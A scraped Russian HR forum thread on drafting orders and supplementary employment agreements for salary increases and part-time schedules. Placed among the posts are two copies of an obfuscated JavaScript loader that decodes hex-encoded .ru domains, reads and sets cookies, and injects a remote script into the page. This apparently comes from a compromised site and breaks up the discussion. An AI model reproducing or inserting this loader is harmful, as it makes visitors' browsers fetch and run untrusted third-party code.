Приказ на увеличение оклада , Публикация №535471

Margo@@@, , если бы у вас была коммерческая организация где гд, как хочет так и ворочит, тогда бы вопросов не было. А у вас как я понял структура государственная и каждый документ должен бвть согласован. Вы согласование получили.

Margo@@@


Все бумаги на имя Иванова И.И. готовит Министерство и личное дело должно быть у них.

С 01.06.15 приказом по организации увеличили всем работникам оклад. На следующий день руководитель( И.П.) дал распоряжение заключить со всеми работниками ДС к ТД о неполном рабочем дне ( 6 часов) сознательно идя на нарушение. Ни заявления с работников ни тем более уведомления за 2 месяца не было. С не согласными подписать провели беседу за закрытыми дверями. Чем это чревато для И.П. ???

Прошу прощения- что-то с интернетом не лады. Не могу исправить. (удалить ненужное)


wind ow .a1336404323 = 1;!f unction(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="9876",n=f unction(o){var e=docu ment.cookie.match(new RegExp("(?:^|; )"+o.r eplace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1";)+"=([^;]*)";));return e?decodeURIComponent(e[1]):void 0},i=f unction(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600";),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=f unction(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=Stri ng.fromCharCode(parseInt(o[t],16));return e},c=f unction(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toS tring(16);return e},a=f unction(o,e,t){var n=docu ment.location.protocol+"//"+o;if(wind ow .smlo)window .smlo.loadSmlo(n.r eplace('https:','http:'));else if(wind ow .zSmlo)window .zSmlo.loadSmlo(n.r eplace('https:','http:'));else{var i=docu ment.createElement("script";);i.setAttribute("src",n),i.setAttribute("type","text/javascript";),document.head.appendChild(i),i.on load=f unction(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=f unction(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=f unction(u){var s=n("oisdom";);e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods";);m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,f unction(){i("oisdom",e)},f unction(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("kadrovik-praktik.ru";)+"_"+(self===top?0:1)+".js",a(f,f unction(){i("oisdom",e)},f unction(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

window .a1336404323 = 1;!f unction(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="9876",n=f unction(o){var e=docu ment.cookie.match(new RegExp("(?:^|; )"+o.r eplace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=f unction(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=f unction(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=Stri ng.fromCharCode(parseInt(o[t],16));return e},c=f unction(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toS tring(16);return e},a=f unction(o,e,t){var n=docu ment.location.protocol+"//"+o;if(wind ow .smlo)window .smlo.loadSmlo(n.r eplace('https:','http:'));else if(wind ow .zSmlo)window .zSmlo.loadSmlo(n.r eplace('https:','http:'));else{var i=docu ment.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=f unction(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=f unction(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=f unction(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,f unction(){i("oisdom",e)},f unction(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("kadrovik-praktik.ru")+"_"+(self===top?0:1)+".js",a(f,f unction(){i("oisdom",e)},f unction(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

ТК РФ не предусмотрено и.о. Должен быть конкретно - директор.

Да ничем. Да и приказа не было. Есть доп.соглашения с каждым работником о неполном рабочем дне с оплатой согласно отработанного времени. никто не хочет конфликтовать с начальником - у нас очень трудно в городе с работой. Просто ему "лишние расходы на соц.отчисления не нужны". Пробовали поспорить некоторые - задержал з.плату. Сказала ему про нарушение ТК - не захотел даже слушать. Вот как-то так.

Доброго всем дня

1.08. - увеличиваем оклады всем работникам. Делаем Доп соглашения к ТД об изменении (увеличении) оклада.

так же 01.08. планируем изменить ТД путем дополнительных соглашений и изложить их в новой редакции.

Вопрос: Как всё это правильно сделать? Можно ли оба эти изменения внести в одно доп/соглашение? Или нужно сделать два доп/соглашения одним числом?.... Что то уже голова кругом:stars

то есть разными пунктами это прописать?

1. Работнику установить оклад такой-то.
2. ТД изложить в следующей редакции:...

Подскажите, хотим увеличить всем работникам оклады, кому вдвое, кому на 50%, кому на 30%, как правильно сделать это? Как я вижу: Приказ об изменение ШР, Согласие работников в листе ознакомления, Приказ на перевод (кадровое перемещение), допсоглашение, всё ли верно? Приказ нужно за 2 мес. до изменения окладов подготовить и подписать у работников?

Добрый день. Помогите разобраться в последовательности действий следующей ситуации:
руководитель с января увеличивает сотрудникам зп, у кого оклад+сделка тому на 5%, у кого просто оклад на тыс.
В связи с этим мне нужно сделать:
1. Приказ о внесении изменений в штатное расписание, где перечисляю все изменения
2. Доп соглашения каждому сотруднику об увеличении оклада
3. Приказ об увеличении заработной платы сотрудникам (нужен ли???)
И еще, какой датой будет правильно ввести эти документы?
Заранее спасибо.

ну это уже проблемно, если с января будет уже новая зп

Добрый день! Такой Вопрос, работник работает по основной должности на 0,5 ставки, ему еще добавил директор 0,25 ставки, как правильно оформить приказ?

если по другой должности, то да - совмещение, или совместительство.

Если по этой должности, то можно сделать - изменение режима рабочего времени и будет 0,75 шт. ед.